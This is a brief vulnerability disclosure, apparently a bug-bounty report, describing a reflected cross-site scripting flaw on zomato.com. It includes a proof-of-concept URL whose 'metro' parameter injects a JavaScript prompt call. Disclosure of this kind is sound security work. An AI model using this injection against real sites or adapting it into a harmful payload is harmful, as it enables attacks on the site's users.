XSS on zomato.com

How it was found

I found an XSS on zomato.com

Here's a POC (works even on Chrome) - https://www.zomato.com/doha/drinks-and-nightlife-in-al-ghanim?metro='-prompt('XSS')-'

I hope this helps :)